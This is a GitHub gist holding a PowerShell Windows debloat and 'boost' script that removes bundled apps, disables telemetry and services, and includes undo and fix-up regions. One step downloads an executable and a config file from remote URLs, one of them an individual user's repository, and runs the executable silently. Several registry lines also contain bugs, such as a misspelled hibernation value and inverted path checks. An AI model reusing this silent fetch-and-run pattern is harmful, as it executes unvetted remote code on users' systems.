-
-
Save ZerGo0/690175a1163bd4747d825491810c6ebb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#region buttonDebloat | |
$formWindowsToolbox.WindowState = 1 | |
$Bloatware = @( | |
#Unnecessary Windows 10 AppX Apps | |
"Microsoft.3DBuilder" | |
"Microsoft.AppConnector" | |
"Microsoft.BingFinance" | |
"Microsoft.BingNews" | |
"Microsoft.BingSports" | |
"Microsoft.BingTranslator" | |
"Microsoft.BingWeather" | |
"Microsoft.GetHelp" | |
"Microsoft.Getstarted" | |
"Microsoft.Messaging" | |
"Microsoft.Microsoft3DViewer" | |
"Microsoft.MicrosoftSolitaireCollection" | |
"Microsoft.NetworkSpeedTest" | |
"Microsoft.News" | |
"Microsoft.Office.Lens" | |
"Microsoft.Office.Sway" | |
"Microsoft.OneConnect" | |
"Microsoft.People" | |
"Microsoft.Print3D" | |
"Microsoft.SkypeApp" | |
"Microsoft.StorePurchaseApp" | |
"Microsoft.Wallet" | |
"Microsoft.Whiteboard" | |
"Microsoft.WindowsAlarms" | |
"microsoft.windowscommunicationsapps" | |
"Microsoft.WindowsFeedbackHub" | |
"Microsoft.WindowsMaps" | |
"Microsoft.WindowsSoundRecorder" | |
"Microsoft.ZuneMusic" | |
"Microsoft.ZuneVideo" | |
#Sponsored Windows 10 AppX Apps | |
#Add sponsored/featured apps to remove in the "*AppName*" format | |
"*EclipseManager*" | |
"*ActiproSoftwareLLC*" | |
"*AdobeSystemsIncorporated.AdobePhotoshopExpress*" | |
"*Duolingo-LearnLanguagesforFree*" | |
"*PandoraMediaInc*" | |
"*CandyCrush*" | |
"*BubbleWitch3Saga*" | |
"*Wunderlist*" | |
"*Flipboard*" | |
"*Twitter*" | |
"*Facebook*" | |
"*Royal Revolt*" | |
"*Sway*" | |
"*Speed Test*" | |
"*Dolby*" | |
"*Viber*" | |
"*ACGMediaPlayer*" | |
"*Netflix*" | |
"*OneCalendar*" | |
"*LinkedInforWindows*" | |
"*HiddenCityMysteryofShadows*" | |
"*Hulu*" | |
"*HiddenCity*" | |
"*AdobePhotoshopExpress*" | |
#Optional: Typically not removed but you can if you need to for some reason | |
"*Microsoft.Advertising.Xaml*" | |
#"*Microsoft.BingWeather*" | |
#"*Microsoft.MSPaint*" | |
#"*Microsoft.MicrosoftStickyNotes*" | |
#"*Microsoft.Windows.Photos*" | |
#"*Microsoft.WindowsCalculator*" | |
#"*Microsoft.WindowsStore*" | |
) | |
foreach ($Bloat in $Bloatware) { | |
Get-AppxPackage -Name $Bloat| Remove-AppxPackage | |
#Get-AppxProvisionedPackage -Online | Where-Object DisplayName -like $Bloat | Remove-AppxProvisionedPackage -Online | |
Write-Host "Trying to remove $Bloat." | |
} | |
#Stops edge from taking over as the default .PDF viewer | |
Write-Host "Stopping Edge from taking over as the default .PDF viewer" | |
# Identify the edge application class | |
$Packages = "HKCU:SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" | |
$edge = Get-ChildItem $Packages -Recurse -include "MicrosoftEdge" | |
# Specify the paths to the file and URL associations | |
$FileAssocKey = Join-Path $edge.PSPath Capabilities\FileAssociations | |
$URLAssocKey = Join-Path $edge.PSPath Capabilities\URLAssociations | |
# get the software classes for the file and URL types that Edge will associate | |
$FileTypes = Get-Item $FileAssocKey | |
$URLTypes = Get-Item $URLAssocKey | |
$FileAssoc = Get-ItemProperty $FileAssocKey | |
$URLAssoc = Get-ItemProperty $URLAssocKey | |
$Associations = @() | |
$Filetypes.Property | foreach {$Associations += $FileAssoc.$_} | |
$URLTypes.Property | foreach {$Associations += $URLAssoc.$_} | |
# add registry values in each software class to stop edge from associating as the default | |
foreach ($Association in $Associations) | |
{ | |
$Class = Join-Path HKCU:SOFTWARE\Classes $Association | |
#if (Test-Path $class) | |
# {write-host $Association} | |
# Get-Item $Class | |
Set-ItemProperty $Class -Name NoOpenWith -Value "" | |
Set-ItemProperty $Class -Name NoStaticDefaultVerb -Value "" | |
} | |
#Removes Paint3D stuff from context menu | |
$Paint3Dstuff = @( | |
"HKCR:\SystemFileAssociations\.3mf\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.bmp\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.fbx\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.gif\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.jfif\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.jpe\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.jpeg\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.jpg\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.png\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.tif\Shell\3D Edit" | |
"HKCR:\SystemFileAssociations\.tiff\Shell\3D Edit" | |
) | |
#Rename reg key to remove it, so it's revertible | |
foreach ($Paint3D in $Paint3Dstuff) { | |
If (Test-Path $Paint3D) { | |
$rmPaint3D = $Paint3D + "_" | |
Set-Item $Paint3D $rmPaint3D | |
} | |
} | |
Write-Host "Finished Debloating" -ForegroundColor Green | |
$formWindowsToolbox.WindowState = 0 | |
#endregion buttonDebloat | |
#region buttonBoost | |
$formWindowsToolbox.WindowState = 1 | |
Write-Host "Creating Restore Point incase something bad happens" | |
Enable-ComputerRestore -Drive "C:\" | |
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /V "SystemRestorePointCreationFrequency" /T REG_DWORD /D 0 /F | |
Checkpoint-Computer -Description "Windows Toolbox(Automatic)" -RestorePointType "MODIFY_SETTINGS" | |
Write-Host 'RestorePoint has been Created' -ForegroundColor green | |
Write-Host "Tweaking...the Recommended Settings" | |
Write-Host "Please wait" | |
Import-Module BitsTransfer | |
Start-BitsTransfer -Source "https://raw.githubusercontent.com/alexrybak0444/New/main/ooshutup10.cfg" -Destination ooshutup10.cfg | |
Start-BitsTransfer -Source "https://dl5.oo-software.com/files/ooshutup10/OOSU10.exe" -Destination OOSU10.exe | |
./OOSU10.exe ooshutup10.cfg /quiet | |
Write-Host "Disabling Telemetry..." | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0 | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser" | Out-Null | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\Application Experience\ProgramDataUpdater" | Out-Null | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\Autochk\Proxy" | Out-Null | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\Customer Experience Improvement Program\Consolidator" | Out-Null | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\Customer Experience Improvement Program\UsbCeip" | Out-Null | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector" | Out-Null | |
Write-Host "Disabling Application suggestions..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "ContentDeliveryAllowed" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "OemPreInstalledAppsEnabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "PreInstalledAppsEnabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "PreInstalledAppsEverEnabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SilentInstalledAppsEnabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SubscribedContent-338387Enabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SubscribedContent-338388Enabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SubscribedContent-338389Enabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SubscribedContent-353698Enabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SystemPaneSuggestionsEnabled" -Type DWord -Value 0 | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CloudContent")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CloudContent" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CloudContent" -Name "DisableWindowsConsumerFeatures" -Type DWord -Value 1 | |
Write-Host "Disabling Activity History..." | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "EnableActivityFeed" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "PublishUserActivities" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "UploadUserActivities" -Type DWord -Value 0 | |
Write-Host "Disabling Location Tracking..." | |
If (!(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location")) { | |
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location" -Name "Value" -Type String -Value "Deny" | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sensor\Overrides\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "SensorPermissionState" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\lfsvc\Service\Configuration" -Name "Status" -Type DWord -Value 0 | |
Write-Host "Disabling automatic Maps updates..." | |
Set-ItemProperty -Path "HKLM:\SYSTEM\Maps" -Name "AutoUpdateEnabled" -Type DWord -Value 0 | |
Write-Host "Disabling Feedback..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\Siuf\Rules")) { | |
New-Item -Path "HKCU:\SOFTWARE\Microsoft\Siuf\Rules" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Siuf\Rules" -Name "NumberOfSIUFInPeriod" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "DoNotShowFeedbackNotifications" -Type DWord -Value 1 | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\Feedback\Siuf\DmClient" -ErrorAction SilentlyContinue | Out-Null | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\Feedback\Siuf\DmClientOnScenarioDownload" -ErrorAction SilentlyContinue | Out-Null | |
Write-Host "Disabling Tailored Experiences..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\CloudContent")) { | |
New-Item -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\CloudContent" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\CloudContent" -Name "DisableTailoredExperiencesWithDiagnosticData" -Type DWord -Value 1 | |
Write-Host "Disabling Advertising ID..." | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AdvertisingInfo")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AdvertisingInfo" | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AdvertisingInfo" -Name "DisabledByGroupPolicy" -Type DWord -Value 1 | |
Write-Host "Disabling Error reporting..." | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting" -Name "Disabled" -Type DWord -Value 1 | |
Disable-ScheduledTask -TaskName "Microsoft\Windows\Windows Error Reporting\QueueReporting" | Out-Null | |
Write-Host "Restricting Windows Update P2P only to local network..." | |
If (!(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config")) { | |
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" -Name "DODownloadMode" -Type DWord -Value 1 | |
Write-Host "Stopping and disabling Diagnostics Tracking Service..." | |
Stop-Service "DiagTrack" -WarningAction SilentlyContinue | |
Set-Service "DiagTrack" -StartupType Disabled | |
Write-Host "Stopping and disabling WAP Push Service..." | |
Stop-Service "dmwappushservice" -WarningAction SilentlyContinue | |
Set-Service "dmwappushservice" -StartupType Disabled | |
Write-Host "Enabling F8 boot menu options..." | |
bcdedit /set `{current`} bootmenupolicy Legacy | Out-Null | |
Write-Host "Stopping and disabling Home Groups services..." | |
Stop-Service "HomeGroupListener" -WarningAction SilentlyContinue | |
Set-Service "HomeGroupListener" -StartupType Disabled | |
Stop-Service "HomeGroupProvider" -WarningAction SilentlyContinue | |
Set-Service "HomeGroupProvider" -StartupType Disabled | |
Write-Host "Disabling Remote Assistance..." | |
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Remote Assistance" -Name "fAllowToGetHelp" -Type DWord -Value 0 | |
Write-Host "Disabling Storage Sense..." | |
Remove-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\StorageSense\Parameters\StoragePolicy" -Recurse -ErrorAction SilentlyContinue | |
Write-Host "Stopping and disabling Superfetch service..." | |
Stop-Service "SysMain" -WarningAction SilentlyContinue | |
Set-Service "SysMain" -StartupType Disabled | |
Write-Host "Setting BIOS time to UTC..." | |
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\TimeZoneInformation" -Name "RealTimeIsUniversal" -Type DWord -Value 1 | |
Write-Host "Disabling Hibernation..." | |
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Session Manager\Power" -Name "HibernteEnabled" -Type Dword -Value 0 | |
If (!(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FlyoutMenuSettings")) { | |
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FlyoutMenuSettings" | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FlyoutMenuSettings" -Name "ShowHibernateOption" -Type Dword -Value 0 | |
Write-Host "Showing task manager details..." | |
$taskmgr = Start-Process -WindowStyle Hidden -FilePath taskmgr.exe -PassThru | |
Do { | |
Start-Sleep -Milliseconds 100 | |
$preferences = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\TaskManager" -Name "Preferences" -ErrorAction SilentlyContinue | |
} Until ($preferences) | |
Stop-Process $taskmgr | |
$preferences.Preferences[28] = 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\TaskManager" -Name "Preferences" -Type Binary -Value $preferences.Preferences | |
Write-Host "Showing file operations details..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\OperationStatusManager")) { | |
New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\OperationStatusManager" | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\OperationStatusManager" -Name "EnthusiastMode" -Type DWord -Value 1 | |
Write-Host "Hiding Task View button..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ShowTaskViewButton" -Type DWord -Value 0 | |
Write-Host "Hiding People icon..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\People")) { | |
New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\People" | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\People" -Name "PeopleBand" -Type DWord -Value 0 | |
Write-Host "Enabling NumLock after startup..." | |
If (!(Test-Path "HKU:")) { | |
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null | |
} | |
Set-ItemProperty -Path "HKU:\.DEFAULT\Control Panel\Keyboard" -Name "InitialKeyboardIndicators" -Type DWord -Value 2147483650 | |
Add-Type -AssemblyName System.Windows.Forms | |
If (!([System.Windows.Forms.Control]::IsKeyLocked('NumLock'))) { | |
$wsh = New-Object -ComObject WScript.Shell | |
$wsh.SendKeys('{NUMLOCK}') | |
} | |
Write-Host "Changing default Explorer view to This PC..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "LaunchTo" -Type DWord -Value 1 | |
Write-Host "Hiding 3D Objects icon from This PC..." | |
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{0DB7E03F-FC29-4DC6-9020-FF41B59E513A}" -Recurse -ErrorAction SilentlyContinue | |
# Network Tweaks | |
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "IRPStackSize" -Type DWord -Value 20 | |
# SVCHost Tweak | |
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control" -Name "SvcHostSplitThresholdInKB" -Type DWord -Value 4194304 | |
#Write-Host "Installing Windows Media Player..." | |
#Enable-WindowsOptionalFeature -Online -FeatureName "WindowsMediaPlayer" -NoRestart -WarningAction SilentlyContinue | Out-Null | |
Write-Host "Disable News and Interests" | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Windows Feeds" -Name "EnableFeeds" -Type DWord -Value 0 | |
ipconfig /flushdns | |
Write-Host "Boostup Completed" -ForegroundColor green | |
$formWindowsToolbox.WindowState = 0 | |
#endregion buttonBoost | |
#region Undo | |
Write-Host "Enabling Telemetry..." | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 1 | |
Write-Host "Enabling Application suggestions..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "ContentDeliveryAllowed" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "OemPreInstalledAppsEnabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "PreInstalledAppsEnabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "PreInstalledAppsEverEnabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SilentInstalledAppsEnabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SubscribedContent-338387Enabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SubscribedContent-338388Enabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SubscribedContent-338389Enabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SubscribedContent-353698Enabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SystemPaneSuggestionsEnabled" -Type DWord -Value 1 | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CloudContent")) { | |
Remove-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CloudContent" -Recurse -ErrorAction SilentlyContinue | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CloudContent" -Name "DisableWindowsConsumerFeatures" -Type DWord -Value 0 | |
Write-Host "Enabling Activity History..." | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "EnableActivityFeed" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "PublishUserActivities" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "UploadUserActivities" -Type DWord -Value 1 | |
Write-Host "Enable Location Tracking..." | |
If (!(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location")) { | |
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location" -Recurse -ErrorAction SilentlyContinue | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location" -Name "Value" -Type String -Value "Allow" | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sensor\Overrides\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "SensorPermissionState" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\lfsvc\Service\Configuration" -Name "Status" -Type DWord -Value 1 | |
Write-Host "Enabling automatic Maps updates..." | |
Set-ItemProperty -Path "HKLM:\SYSTEM\Maps" -Name "AutoUpdateEnabled" -Type DWord -Value 1 | |
Write-Host "Enabling Feedback..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\Siuf\Rules")) { | |
Remove-Item -Path "HKCU:\SOFTWARE\Microsoft\Siuf\Rules" -Recurse -ErrorAction SilentlyContinue | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Siuf\Rules" -Name "NumberOfSIUFInPeriod" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "DoNotShowFeedbackNotifications" -Type DWord -Value 0 | |
Write-Host "Enabling Tailored Experiences..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\CloudContent")) { | |
Remove-Item -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\CloudContent" -Recurse -ErrorAction SilentlyContinue | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\CloudContent" -Name "DisableTailoredExperiencesWithDiagnosticData" -Type DWord -Value 0 | |
Write-Host "Disabling Advertising ID..." | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AdvertisingInfo")) { | |
Remove-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AdvertisingInfo" -Recurse -ErrorAction SilentlyContinue | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AdvertisingInfo" -Name "DisabledByGroupPolicy" -Type DWord -Value 0 | |
Write-Host "Allow Error reporting..." | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting" -Name "Disabled" -Type DWord -Value 0 | |
Write-Host "Allowing Diagnostics Tracking Service..." | |
Stop-Service "DiagTrack" -WarningAction SilentlyContinue | |
Set-Service "DiagTrack" -StartupType Manual | |
Write-Host "Allowing WAP Push Service..." | |
Stop-Service "dmwappushservice" -WarningAction SilentlyContinue | |
Set-Service "dmwappushservice" -StartupType Manual | |
Write-Host "Allowing Home Groups services..." | |
Stop-Service "HomeGroupListener" -WarningAction SilentlyContinue | |
Set-Service "HomeGroupListener" -StartupType Manual | |
Stop-Service "HomeGroupProvider" -WarningAction SilentlyContinue | |
Set-Service "HomeGroupProvider" -StartupType Manual | |
Write-Host "Enabling Storage Sense..." | |
New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\StorageSense\Parameters\StoragePolicy" | Out-Null | |
Write-Host "Allowing Superfetch service..." | |
Stop-Service "SysMain" -WarningAction SilentlyContinue | |
Set-Service "SysMain" -StartupType Manual | |
Write-Host "Setting BIOS time to Local Time instead of UTC..." | |
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\TimeZoneInformation" -Name "RealTimeIsUniversal" -Type DWord -Value 0 | |
Write-Host "Enabling Hibernation..." | |
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Session Manager\Power" -Name "HibernteEnabled" -Type Dword -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FlyoutMenuSettings" -Name "ShowHibernateOption" -Type Dword -Value 1 | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization" -Name "NoLockScreen" -ErrorAction SilentlyContinue | |
Write-Host "Hiding file operations details..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\OperationStatusManager")) { | |
Remove-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\OperationStatusManager" -Recurse -ErrorAction SilentlyContinue | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\OperationStatusManager" -Name "EnthusiastMode" -Type DWord -Value 0 | |
Write-Host "Showing Task View button..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ShowTaskViewButton" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\People" -Name "PeopleBand" -Type DWord -Value 1 | |
Write-Host "Changing default Explorer view to Quick Access..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "LaunchTo" -Type DWord -Value 0 | |
Write-Host "Boostup undo Completed - Revert back to stock setting" -ForegroundColor green | |
#endregion Undo | |
#region buttonFixPhoneApp | |
Write-Host "`nEnable needed data collection for Your Phone..." | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "EnableMmx" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "EnableCdp" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Messaging" -Name "AllowMessageSync" -Type DWord -Value 1 | |
Write-Host "Allowing Background Apps..." | |
Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" -Exclude "Microsoft.Windows.Cortana*" | ForEach { | |
Remove-ItemProperty -Path $_.PsPath -Name "Disabled" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path $_.PsPath -Name "DisabledByUser" -ErrorAction SilentlyContinue | |
} | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" -Name "GlobalUserDisabled" -Type DWord -Value 0 | |
Write-Host "You may need to Reboot and right-click Your Phone app and select repair" | |
#endregion buttonFixPhoneApp | |
#region buttonEnableLocation | |
Write-Host "`nEnabling Location Provider..." | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\LocationAndSensors" -Name "DisableWindowsLocationProvider" -ErrorAction SilentlyContinue | |
Write-Host "Enabling Location Scripting..." | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\LocationAndSensors" -Name "DisableLocationScripting" -ErrorAction SilentlyContinue | |
Write-Host "Enabling Location..." | |
